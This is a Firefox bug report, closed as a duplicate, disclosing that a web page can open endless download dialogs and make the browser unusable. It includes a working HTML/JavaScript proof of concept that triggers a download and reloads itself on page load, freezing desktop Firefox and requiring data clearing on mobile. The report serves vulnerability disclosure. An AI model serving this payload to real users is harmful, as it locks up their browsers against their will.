Closed Bug 1747696 Opened 3 years ago Closed 3 years ago

Download dialog can be used to make browser unusable

Categories

(Firefox :: File Handling, defect)

Firefox 95
defect

Tracking

()

RESOLVED DUPLICATE of bug 1306334

People

(Reporter: StanleyKMugo, Unassigned)

Details

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36

Steps to reproduce:

I ran the following:

<html>
<head>
<title>Open Many Download Dialogs in Firefox</title>
<script>
window.addEventListener("DOMContentLoaded", function() {
var elm = document.createElement("a");
elm.download = "text.txt";
elm.href = 'data:application/octet-stream,';
elm.click();
window.open(window.location.href, "_self", "", true);
});
</script>
</head>
</html>

Actual results:

Multiple download dialogs popup and freeze Firefox. Closing the browser become the only way to stop the popups.

Firefox also becomes unusable on mobile due to the download popup taking focus from the rest of the app. The app data has to be cleared to fix it on mobile.

Expected results:

Only one download dialog should popup. A message should be shown asking if other downloads should be allowed.

The Bugbug bot thinks this bug should belong to the 'Firefox::Downloads Panel' component, and is moving the bug to that component. Please revert this change in case you think the bot is wrong.

Component: Untriaged → Downloads Panel
Status: UNCONFIRMED → RESOLVED
Closed: 3 years ago
Component: Downloads Panel → File Handling
Resolution: --- → DUPLICATE
You need to log in before you can comment on or make changes to this bug.